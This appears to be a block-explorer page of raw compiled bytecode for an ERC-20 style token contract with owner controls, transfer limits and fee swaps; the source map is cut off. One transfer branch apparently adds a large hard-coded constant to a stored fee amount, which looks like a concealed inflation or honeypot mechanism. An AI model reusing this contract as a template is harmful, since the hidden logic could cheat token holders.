6001915050620006be565b60ff84111562000a695762000a69620009b7565b50506001821b620006be565b5060208310610133831016604e8410600b841016171562000a9a575081810a620006be565b62000aa68383620009cb565b805f190482111562000abc5762000abc620009b7565b029392505050565b5f620006bb60ff84168362000a13565b8082028115828204841417620006be57620006be620009b7565b5f6020828403121562000aff575f80fd5b81516001600160a01b0381168114620006bb575f80fd5b5f8262000b3157634e487b7160e01b5f52601260045260245ffd5b500490565b80820180821115620006be57620006be620009b7565b5f602080835283518060208501525f5b8181101562000b7a5785810183015185820160400152820162000b5c565b505f604082860101526040601f19601f8301168501019250505092915050565b60805160a051611af462000bca5f395f81816102b3015261093b01525f818161039e01526109750152611af45ff3fe60806040526004361061026d575f3560e01c8063852614851161014a578063c816841b116100be578063dd62ed3e11610078578063dd62ed3e14610756578063f0cd1dac1461079a578063f2fde38b146107af578063f680f799146107ce578063f872858a146107e3578063f8f6329014610803575f80fd5b8063c816841b146106aa578063c8607952146106c9578063c867d60b146106de578063d2d7ad831461070c578063da00097d14610721578063dc44b6a014610741575f80fd5b806395d89b411161010f57806395d89b411461060f57806398e944c814610623578063a457c2d714610642578063a76a839214610661578063a9059cbb14610676578063c5d2418914610695575f80fd5b8063852614851461057157806388790a68146105915780638b42507f146105a65780638b97a773146105d45780638da5cb5b146105f3575f80fd5b80633ecad271116101e1578063715018a6116101a6578063715018a6146104d957806375f0a874146104ef5780637b4e3b79146105135780637d1db4a514610532578063807c2d9c1461054757806382eefb431461055c575f80fd5b80633ecad271146104145780634a74bb02146104425780635194f9bf146104625780635342acb41461047757806370a08231146104a5575f80fd5b806323555d571161023257806323555d571461035957806323b872dd1461036e57806327c8f8351461038d5780632b112e49146103c0578063313ce567146103d457806339509351146103f5575f80fd5b806306fdde03146102785780630930907b146102a2578063095ea7b3146102ed5780631694505e1461031c57806318160ddd1461033b575f80fd5b3661027457005b5f80fd5b348015610283575f80fd5b5061028c610822565b60405161029991906117c8565b60405180910390f35b3480156102ad575f80fd5b506102d57f000000000000000000000000000000000000000000000000000000000000000081565b6040516001600160a01b039091168152602001610299565b3480156102f8575f80fd5b5061030c61030736600461182b565b6108b2565b6040519015158152602001610299565b348015610327575f80fd5b506015546102d5906001600160a01b031681565b348015610346575f80fd5b506011545b604051908152602001610299565b348015610364575f80fd5b5061034b60195481565b348015610379575f80fd5b5061030c610388366004611855565b6108c8565b348015610398575f80fd5b506102d57f000000000000000000000000000000000000000000000000000000000000000081565b3480156103cb575f80fd5b5061034b610931565b3480156103df575f80fd5b5060035460405160ff9091168152602001610299565b348015610400575f80fd5b5061030c61040f36600461182b565b6109c2565b34801561041f575f80fd5b5061030c61042e366004611893565b600e6020525f908152604090205460ff1681565b34801561044d575f80fd5b5060165461030c90600160a81b900460ff1681565b34801561046d575f80fd5b5061034b601c5481565b348015610482575f80fd5b5061030c610491366004611893565b600d6020525f908152604090205460ff1681565b3480156104b0575f80fd5b5061034b6104bf366004611893565b6001600160a01b03165f9081526006602052604090205490565b3480156104e4575f80fd5b506104ed6109f7565b005b3480156104fa575f80fd5b506003546102d59061010090046001600160a01b031681565b34801561051e575f80fd5b506102d561052d3660046118ae565b610aa3565b34801561053d575f80fd5b5061034b60135481565b348015610552575f80fd5b5061034b60145481565b348015610567575f80fd5b5061034b601f5481565b34801561057c575f80fd5b5060165461030c90600160c01b900460ff1681565b34801561059c575f80fd5b5061034b601a5481565b3480156105b1575f80fd5b5061030c6105c0366004611893565b60106020525f908152604090205460ff1681565b3480156105df575f80fd5b5061034b6105ee3660046118ae565b610ac2565b3480156105fe575f80fd5b505f546001600160a01b03166102d5565b34801561061a575f80fd5b5061028c610ad8565b34801561062e575f80fd5b506005546102d5906001600160a01b031681565b34801561064d575f80fd5b5061030c61065c36600461182b565b610ae7565b34801561066c575f80fd5b5061034b601d5481565b348015610681575f80fd5b5061030c61069036600461182b565b610b34565b3480156106a0575f80fd5b5061034b60185481565b3480156106b5575f80fd5b506016546102d5906001600160a01b031681565b3480156106d4575f80fd5b5061034b601b5481565b3480156106e9575f80fd5b5061030c6106f8366004611893565b600f6020525f908152604090205460ff1681565b348015610717575f80fd5b5061034b60125481565b34801561072c575f80fd5b5060165461030c90600160b01b900460ff1681565b34801561074c575f80fd5b5061034b60175481565b348015610761575f80fd5b5061034b6107703660046118c5565b6001600160a01b039182165f90815260076020908152604080832093909416825291909152205490565b3480156107a5575f80fd5b5061034b601e5481565b3480156107ba575f80fd5b506104ed6107c9366004611893565b610b40565b3480156107d9575f80fd5b5061034b60085481565b3480156107ee575f80fd5b5060165461030c90600160b81b900460ff1681565b34801561080e575f80fd5b506004546102d5906001600160a01b031681565b606060018054610831906118fc565b80601f016020809104026020016040519081016040528092919081815260200182805461085d906118fc565b80156108a85780601f1061087f576101008083540402835291602001916108a8565b820191905f5260205f20905b81548152906001019060200180831161088b57829003601f168201915b5050505050905090565b5f6108be338484610c57565b5060015b92915050565b5f6108d4848484610d7a565b50610926843361092185604051806060016040528060288152602001611a72602891396001600160a01b038a165f9081526007602090815260408083203384529091529020549190611303565b610c57565b5060015b9392505050565b6001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000165f908152600660205260408120546109bd906109b76109ae7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b03165f9081526006602052604090205490565b6011549061133b565b9061133b565b905090565b335f8181526007602090815260408083206001600160a01b038716845290915281205490916108be918590610921908661137c565b5f546001600160a01b03163314610a555760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b5f805460405161dead926001600160a01b03909216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b03191661dead179055565b600b8160028110610ab2575f80fd5b01546001600160a01b0316905081565b60098160028110610ad1575f80fd5b0154905081565b606060028054610831906118fc565b5f6108be338461092185604051806060016040528060258152602001611a9a60259139335f9081526007602090815260408083206001600160a01b038d1684529091529020549190611303565b5f610926338484610d7a565b5f546001600160a01b03163314610b995760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610a4c565b6001600160a01b038116610bfe5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610a4c565b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610cb95760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610a4c565b6001600160a01b038216610d1a5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610a4c565b6001600160a01b038381165f8181526007602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b5f6001600160a01b038416610ddf5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610a4c565b6001600160a01b038316610e415760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610a4c565b601654600160a01b900460ff1615610e6557610e5e8484846113da565b905061092a565b6001600160a01b0384165f9081526010602052604090205460ff16158015610ea557506001600160a01b0383165f9081526010602052604090205460ff16155b15610f0d57601354821115610f0d5760405162461bcd60e51b815260206004820152602860248201527f5472616e7366657220616d6f756e74206578636565647320746865206d6178546044820152673c20b6b7bab73a1760c11b6064820152608401610a4c565b305f9081526006602052604090205460125481108015908190610f3a5750601654600160a01b900460ff16155b8015610f5e57506001600160a01b0386165f908152600e602052604090205460ff16155b8015610f735750601654600160a81b900460ff165b15610f9957601654600160b01b900460ff1615610f905760125491505b610f99826114bd565b601654600160b81b900460ff168015610fca57506001600160a01b0385165f908152600f602052604090205460ff16155b1561107057601454611014610ff66103e8610ff0601f548961152e90919063ffffffff16565b906115ac565b6001600160a01b0388165f908152600660205260409020549061137c565b11156110705760405162461bcd60e51b815260206004820152602560248201527f416d6f756e74204578636565642046726f6d204d61782057616c6c6574204c696044820152646d6974212160d81b6064820152608401610a4c565b61108b6103e8610ff0601f548761152e90919063ffffffff16565b600955601f546110a4906103e890610ff090879061152e565b6110ae908561195c565b600a55600b8054306001600160a01b031991821617909155600c80549091166001600160a01b0387161790555f805b600281101561110f57600981600281106110f9576110f9611934565b0154611105908361196f565b91506001016110dd565b506001600160a01b0387165f9081526010602052604090205460ff16158061114f57506001600160a01b0386165f9081526010602052604090205460ff16155b8061117157506001600160a01b0386165f908152600e602052604090205460ff165b8061119357506001600160a01b0387165f908152600e602052604090205460ff165b156111b5576001601d5f8282546111aa919061196f565b909155506111bd9050565b6111bd6115ed565b6001600160a01b0387165f908152600660205260409020546111df908261133b565b6001600160a01b0388165f908152600660205260408120919091555b60028110156112f6576112536009826002811061121a5761121a611934565b015460065f600b856002811061123257611232611934565b01546001600160a01b0316815260208101919091526040015f20549061137c565b60065f600b846002811061126957611269611934565b01546001600160a01b0316815260208101919091526040015f2055600b816002811061129757611297611934565b01546001600160a01b039081169089167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600984600281106112db576112db611934565b015460405190815260200160405180910390a36001016111fb565b506001935050505061092a565b5f81848411156113265760405162461bcd60e51b8152600401610a4c91906117c8565b505f611332848661195c565b95945050505050565b5f61092a83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611303565b5f80611388838561196f565b90508381101561092a5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610a4c565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0386165f90815260069091529182205461142a918490611303565b6001600160a01b038086165f908152600660205260408082209390935590851681522054611458908361137c565b6001600160a01b038085165f8181526006602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906114ab9086815260200190565b60405180910390a35060019392505050565b6016805460ff60a01b1916600160a01b1790556114d981611613565b47801561151d576003546040516101009091046001600160a01b0316906108fc8315029083905f818181858888f1935050505015801561151b573d5f803e3d5ffd5b505b50506016805460ff60a01b19169055565b5f825f0361153d57505f6108c2565b5f6115488385611982565b9050826115558583611999565b1461092a5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610a4c565b5f61092a83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061179c565b6b4094dbe112cc18c31f19a72360095f015f82825461160c919061196f565b9091555050565b6040805160028082526060820183525f9260208301908036833701905050905030815f8151811061164657611646611934565b6001600160a01b03928316602091820292909201810191909152601554604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561169d573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906116c191906119b8565b816001815181106116d4576116d4611934565b6001600160a01b0392831660209182029290920101526015546116fa9130911684610c57565b60155460405163791ac94760e01b81526001600160a01b039091169063791ac947906117329085905f90869030904290600401611a16565b5f604051808303815f87803b158015611749575f80fd5b505af115801561175b573d5f803e3d5ffd5b505050507f32cde87eb454f3a0b875ab23547023107cfad454363ec88ba5695e2c24aa52a78282604051611790929190611a51565b60405180910390a15050565b5f81836117bc5760405162461bcd60e51b8152600401610a4c91906117c8565b505f6113328486611999565b5f602080835283518060208501525f5b818110156117f4578581018301518582016040015282016117d8565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114611828575f80fd5b50565b5f806040838503121561183c575f80fd5b823561184781611814565b946020939093013593505050565b5f805f60608486031215611867575f80fd5b833561187281611814565b9250602084013561188281611814565b929592945050506040919091013590565b5f602082840312156118a3575f80fd5b813561092a81611814565b5f602082840312156118be575f80fd5b5035919050565b5f80604083850312156118d6575f80fd5b82356118e181611814565b915060208301356118f181611814565b809150509250929050565b600181811c9082168061191057607f821691505b60208210810361192e57634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52603260045260245ffd5b634e487b7160e01b5f52601160045260245ffd5b818103818111156108c2576108c2611948565b808201808211156108c2576108c2611948565b80820281158282048414176108c2576108c2611948565b5f826119b357634e487b7160e01b5f52601260045260245ffd5b500490565b5f602082840312156119c8575f80fd5b815161092a81611814565b5f815180845260208085019450602084015f5b83811015611a0b5781516001600160a01b0316875295820195908201906001016119e6565b509495945050505050565b85815284602082015260a060408201525f611a3460a08301866119d3565b6001600160a01b0394909416606083015250608001529392505050565b828152604060208201525f611a6960408301846119d3565b94935050505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220fbf3e4fab5161b1811cdf68b4fcf4b92641c9a5a30c1ee04a91f067fb4aa7a1964736f6c63430008170033

Deployed Bytecode

0x60806040526004361061026d575f3560e01c8063852614851161014a578063c816841b116100be578063dd62ed3e11610078578063dd62ed3e14610756578063f0cd1dac1461079a578063f2fde38b146107af578063f680f799146107ce578063f872858a146107e3578063f8f6329014610803575f80fd5b8063c816841b146106aa578063c8607952146106c9578063c867d60b146106de578063d2d7ad831461070c578063da00097d14610721578063dc44b6a014610741575f80fd5b806395d89b411161010f57806395d89b411461060f57806398e944c814610623578063a457c2d714610642578063a76a839214610661578063a9059cbb14610676578063c5d2418914610695575f80fd5b8063852614851461057157806388790a68146105915780638b42507f146105a65780638b97a773146105d45780638da5cb5b146105f3575f80fd5b80633ecad271116101e1578063715018a6116101a6578063715018a6146104d957806375f0a874146104ef5780637b4e3b79146105135780637d1db4a514610532578063807c2d9c1461054757806382eefb431461055c575f80fd5b80633ecad271146104145780634a74bb02146104425780635194f9bf146104625780635342acb41461047757806370a08231146104a5575f80fd5b806323555d571161023257806323555d571461035957806323b872dd1461036e57806327c8f8351461038d5780632b112e49146103c0578063313ce567146103d457806339509351146103f5575f80fd5b806306fdde03146102785780630930907b146102a2578063095ea7b3146102ed5780631694505e1461031c57806318160ddd1461033b575f80fd5b3661027457005b5f80fd5b348015610283575f80fd5b5061028c610822565b60405161029991906117c8565b60405180910390f35b3480156102ad575f80fd5b506102d57f000000000000000000000000000000000000000000000000000000000000000081565b6040516001600160a01b039091168152602001610299565b3480156102f8575f80fd5b5061030c61030736600461182b565b6108b2565b6040519015158152602001610299565b348015610327575f80fd5b506015546102d5906001600160a01b031681565b348015610346575f80fd5b506011545b604051908152602001610299565b348015610364575f80fd5b5061034b60195481565b348015610379575f80fd5b5061030c610388366004611855565b6108c8565b348015610398575f80fd5b506102d57f000000000000000000000000000000000000000000000000000000000000dead81565b3480156103cb575f80fd5b5061034b610931565b3480156103df575f80fd5b5060035460405160ff9091168152602001610299565b348015610400575f80fd5b5061030c61040f36600461182b565b6109c2565b34801561041f575f80fd5b5061030c61042e366004611893565b600e6020525f908152604090205460ff1681565b34801561044d575f80fd5b5060165461030c90600160a81b900460ff1681565b34801561046d575f80fd5b5061034b601c5481565b348015610482575f80fd5b5061030c610491366004611893565b600d6020525f908152604090205460ff1681565b3480156104b0575f80fd5b5061034b6104bf366004611893565b6001600160a01b03165f9081526006602052604090205490565b3480156104e4575f80fd5b506104ed6109f7565b005b3480156104fa575f80fd5b506003546102d59061010090046001600160a01b031681565b34801561051e575f80fd5b506102d561052d3660046118ae565b610aa3565b34801561053d575f80fd5b5061034b60135481565b348015610552575f80fd5b5061034b60145481565b348015610567575f80fd5b5061034b601f5481565b34801561057c575f80fd5b5060165461030c90600160c01b900460ff1681565b34801561059c575f80fd5b5061034b601a5481565b3480156105b1575f80fd5b5061030c6105c0366004611893565b60106020525f908152604090205460ff1681565b3480156105df575f80fd5b5061034b6105ee3660046118ae565b610ac2565b3480156105fe575f80fd5b505f546001600160a01b03166102d5565b34801561061a575f80fd5b5061028c610ad8565b34801561062e575f80fd5b506005546102d5906001600160a01b031681565b34801561064d575f80fd5b5061030c61065c36600461182b565b610ae7565b34801561066c575f80fd5b5061034b601d5481565b348015610681575f80fd5b5061030c61069036600461182b565b610b34565b3480156106a0575f80fd5b5061034b60185481565b3480156106b5575f80fd5b506016546102d5906001600160a01b031681565b3480156106d4575f80fd5b5061034b601b5481565b3480156106e9575f80fd5b5061030c6106f8366004611893565b600f6020525f908152604090205460ff1681565b348015610717575f80fd5b5061034b60125481565b34801561072c575f80fd5b5060165461030c90600160b01b900460ff1681565b34801561074c575f80fd5b5061034b60175481565b348015610761575f80fd5b5061034b6107703660046118c5565b6001600160a01b039182165f90815260076020908152604080832093909416825291909152205490565b3480156107a5575f80fd5b5061034b601e5481565b3480156107ba575f80fd5b506104ed6107c9366004611893565b610b40565b3480156107d9575f80fd5b5061034b60085481565b3480156107ee575f80fd5b5060165461030c90600160b81b900460ff1681565b34801561080e575f80fd5b506004546102d5906001600160a01b031681565b606060018054610831906118fc565b80601f016020809104026020016040519081016040528092919081815260200182805461085d906118fc565b80156108a85780601f1061087f576101008083540402835291602001916108a8565b820191905f5260205f20905b81548152906001019060200180831161088b57829003601f168201915b5050505050905090565b5f6108be338484610c57565b5060015b92915050565b5f6108d4848484610d7a565b50610926843361092185604051806060016040528060288152602001611a72602891396001600160a01b038a165f9081526007602090815260408083203384529091529020549190611303565b610c57565b5060015b9392505050565b6001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000165f908152600660205260408120546109bd906109b76109ae7f000000000000000000000000000000000000000000000000000000000000dead6001600160a01b03165f9081526006602052604090205490565b6011549061133b565b9061133b565b905090565b335f8181526007602090815260408083206001600160a01b038716845290915281205490916108be918590610921908661137c565b5f546001600160a01b03163314610a555760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b5f805460405161dead926001600160a01b03909216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b03191661dead179055565b600b8160028110610ab2575f80fd5b01546001600160a01b0316905081565b60098160028110610ad1575f80fd5b0154905081565b606060028054610831906118fc565b5f6108be338461092185604051806060016040528060258152602001611a9a60259139335f9081526007602090815260408083206001600160a01b038d1684529091529020549190611303565b5f610926338484610d7a565b5f546001600160a01b03163314610b995760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610a4c565b6001600160a01b038116610bfe5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610a4c565b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610cb95760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610a4c565b6001600160a01b038216610d1a5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610a4c565b6001600160a01b038381165f8181526007602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b5f6001600160a01b038416610ddf5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610a4c565b6001600160a01b038316610e415760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610a4c565b601654600160a01b900460ff1615610e6557610e5e8484846113da565b905061092a565b6001600160a01b0384165f9081526010602052604090205460ff16158015610ea557506001600160a01b0383165f9081526010602052604090205460ff16155b15610f0d57601354821115610f0d5760405162461bcd60e51b815260206004820152602860248201527f5472616e7366657220616d6f756e74206578636565647320746865206d6178546044820152673c20b6b7bab73a1760c11b6064820152608401610a4c565b305f9081526006602052604090205460125481108015908190610f3a5750601654600160a01b900460ff16155b8015610f5e57506001600160a01b0386165f908152600e602052604090205460ff16155b8015610f735750601654600160a81b900460ff165b15610f9957601654600160b01b900460ff1615610f905760125491505b610f99826114bd565b601654600160b81b900460ff168015610fca57506001600160a01b0385165f908152600f602052604090205460ff16155b1561107057601454611014610ff66103e8610ff0601f548961152e90919063ffffffff16565b906115ac565b6001600160a01b0388165f908152600660205260409020549061137c565b11156110705760405162461bcd60e51b815260206004820152602560248201527f416d6f756e74204578636565642046726f6d204d61782057616c6c6574204c696044820152646d6974212160d81b6064820152608401610a4c565b61108b6103e8610ff0601f548761152e90919063ffffffff16565b600955601f546110a4906103e890610ff090879061152e565b6110ae908561195c565b600a55600b8054306001600160a01b031991821617909155600c80549091166001600160a01b0387161790555f805b600281101561110f57600981600281106110f9576110f9611934565b0154611105908361196f565b91506001016110dd565b506001600160a01b0387165f9081526010602052604090205460ff16158061114f57506001600160a01b0386165f9081526010602052604090205460ff16155b8061117157506001600160a01b0386165f908152600e602052604090205460ff165b8061119357506001600160a01b0387165f908152600e602052604090205460ff165b156111b5576001601d5f8282546111aa919061196f565b909155506111bd9050565b6111bd6115ed565b6001600160a01b0387165f908152600660205260409020546111df908261133b565b6001600160a01b0388165f908152600660205260408120919091555b60028110156112f6576112536009826002811061121a5761121a611934565b015460065f600b856002811061123257611232611934565b01546001600160a01b0316815260208101919091526040015f20549061137c565b60065f600b846002811061126957611269611934565b01546001600160a01b0316815260208101919091526040015f2055600b816002811061129757611297611934565b01546001600160a01b039081169089167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600984600281106112db576112db611934565b015460405190815260200160405180910390a36001016111fb565b506001935050505061092a565b5f81848411156113265760405162461bcd60e51b8152600401610a4c91906117c8565b505f611332848661195c565b95945050505050565b5f61092a83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611303565b5f80611388838561196f565b90508381101561092a5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610a4c565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0386165f90815260069091529182205461142a918490611303565b6001600160a01b038086165f908152600660205260408082209390935590851681522054611458908361137c565b6001600160a01b038085165f8181526006602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906114ab9086815260200190565b60405180910390a35060019392505050565b6016805460ff60a01b1916600160a01b1790556114d981611613565b47801561151d576003546040516101009091046001600160a01b0316906108fc8315029083905f818181858888f1935050505015801561151b573d5f803e3d5ffd5b505b50506016805460ff60a01b19169055565b5f825f0361153d57505f6108c2565b5f6115488385611982565b9050826115558583611999565b1461092a5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610a4c565b5f61092a83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061179c565b6b4094dbe112cc18c31f19a72360095f015f82825461160c919061196f565b9091555050565b6040805160028082526060820183525f9260208301908036833701905050905030815f8151811061164657611646611934565b6001600160a01b03928316602091820292909201810191909152601554604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561169d573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906116c191906119b8565b816001815181106116d4576116d4611934565b6001600160a01b0392831660209182029290920101526015546116fa9130911684610c57565b60155460405163791ac94760e01b81526001600160a01b039091169063791ac947906117329085905f90869030904290600401611a16565b5f604051808303815f87803b158015611749575f80fd5b505af115801561175b573d5f803e3d5ffd5b505050507f32cde87eb454f3a0b875ab23547023107cfad454363ec88ba5695e2c24aa52a78282604051611790929190611a51565b60405180910390a15050565b5f81836117bc5760405162461bcd60e51b8152600401610a4c91906117c8565b505f6113328486611999565b5f602080835283518060208501525f5b818110156117f4578581018301518582016040015282016117d8565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114611828575f80fd5b50565b5f806040838503121561183c575f80fd5b823561184781611814565b946020939093013593505050565b5f805f60608486031215611867575f80fd5b833561187281611814565b9250602084013561188281611814565b929592945050506040919091013590565b5f602082840312156118a3575f80fd5b813561092a81611814565b5f602082840312156118be575f80fd5b5035919050565b5f80604083850312156118d6575f80fd5b82356118e181611814565b915060208301356118f181611814565b809150509250929050565b600181811c9082168061191057607f821691505b60208210810361192e57634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52603260045260245ffd5b634e487b7160e01b5f52601160045260245ffd5b818103818111156108c2576108c2611948565b808201808211156108c2576108c2611948565b80820281158282048414176108c2576108c2611948565b5f826119b357634e487b7160e01b5f52601260045260245ffd5b500490565b5f602082840312156119c8575f80fd5b815161092a81611814565b5f815180845260208085019450602084015f5b83811015611a0b5781516001600160a01b0316875295820195908201906001016119e6565b509495945050505050565b85815284602082015260a060408201525f611a3460a08301866119d3565b6001600160a01b0394909416606083015250608001529392505050565b828152604060208201525f611a6960408301846119d3565b94935050505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220fbf3e4fab5161b1811cdf68b4fcf4b92641c9a5a30c1ee04a91f067fb4aa7a1964736f6c63430008170033

Deployed Bytecode Sourcemap

11610:10586:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;15858:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12157:81;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;731:32:1;;;713:51;;701:2;686:18;12157:81:0;567:203:1;17024:161:0;;;;;;;;;;-1:-1:-1;17024:161:0;;;;;:::i;:::-;;:::i;:::-;;;1396:14:1;;1389:22;1371:41;;1359:2;1344:18;17024:161:0;1231:187:1;13137:41:0;;;;;;;;;;-1:-1:-1;13137:41:0;;;;-1:-1:-1;;;;;13137:41:0;;;16135:100;;;;;;;;;;-1:-1:-1;16215:12:0;;16135:100;;;1804:25:1;;;1792:2;1777:18;16135:100:0;1658:177:1;13531:35:0;;;;;;;;;;;;;;;;18119:313;;;;;;;;;;-1:-1:-1;18119:313:0;;;;;:::i;:::-;;:::i;12069:81::-;;;;;;;;;;;;;;;17542:156;;;;;;;;;;;;;:::i;16044:83::-;;;;;;;;;;-1:-1:-1;16110:9:0;;16044:83;;16110:9;;;;2443:36:1;;2431:2;2416:18;16044:83:0;2301:184:1;16521:218:0;;;;;;;;;;-1:-1:-1;16521:218:0;;;;;:::i;:::-;;:::i;12663:45::-;;;;;;;;;;-1:-1:-1;12663:45:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;13254:40;;;;;;;;;;-1:-1:-1;13254:40:0;;;;-1:-1:-1;;;13254:40:0;;;;;;13665:36;;;;;;;;;;;;;;;;12606:50;;;;;;;;;;-1:-1:-1;12606:50:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;16243:119;;;;;;;;;;-1:-1:-1;16243:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;16336:18:0;16309:7;16336:18;;;:9;:18;;;;;;;16243:119;3285:230;;;;;;;;;;;;;:::i;:::-;;11826:92;;;;;;;;;;-1:-1:-1;11826:92:0;;;;;;;-1:-1:-1;;;;;11826:92:0;;;12469:122;;;;;;;;;;-1:-1:-1;12469:122:0;;;;;:::i;:::-;;:::i;12991:59::-;;;;;;;;;;;;;;;;13063:58;;;;;;;;;;;;;;;;13790:33;;;;;;;;;;;;;;;;13397:41;;;;;;;;;;-1:-1:-1;13397:41:0;;;;-1:-1:-1;;;13397:41:0;;;;;;13579:36;;;;;;;;;;;;;;;;12780:48;;;;;;;;;;-1:-1:-1;12780:48:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;12406:56;;;;;;;;;;-1:-1:-1;12406:56:0;;;;;:::i;:::-;;:::i;3060:79::-;;;;;;;;;;-1:-1:-1;3098:7:0;3125:6;-1:-1:-1;;;;;3125:6:0;3060:79;;15949:87;;;;;;;;;;;;;:::i;12024:32::-;;;;;;;;;;-1:-1:-1;12024:32:0;;;;-1:-1:-1;;;;;12024:32:0;;;16747:269;;;;;;;;;;-1:-1:-1;16747:269:0;;;;;:::i;:::-;;:::i;13710:32::-;;;;;;;;;;;;;;;;17944:167;;;;;;;;;;-1:-1:-1;17944:167:0;;;;;:::i;:::-;;:::i;13489:35::-;;;;;;;;;;;;;;;;13185:26;;;;;;;;;;-1:-1:-1;13185:26:0;;;;-1:-1:-1;;;;;13185:26:0;;;13622:36;;;;;;;;;;;;;;;;12721:52;;;;;;;;;;-1:-1:-1;12721:52:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;12903:70;;;;;;;;;;;;;;;;13301:45;;;;;;;;;;-1:-1:-1;13301:45:0;;;;-1:-1:-1;;;13301:45:0;;;;;;13447:35;;;;;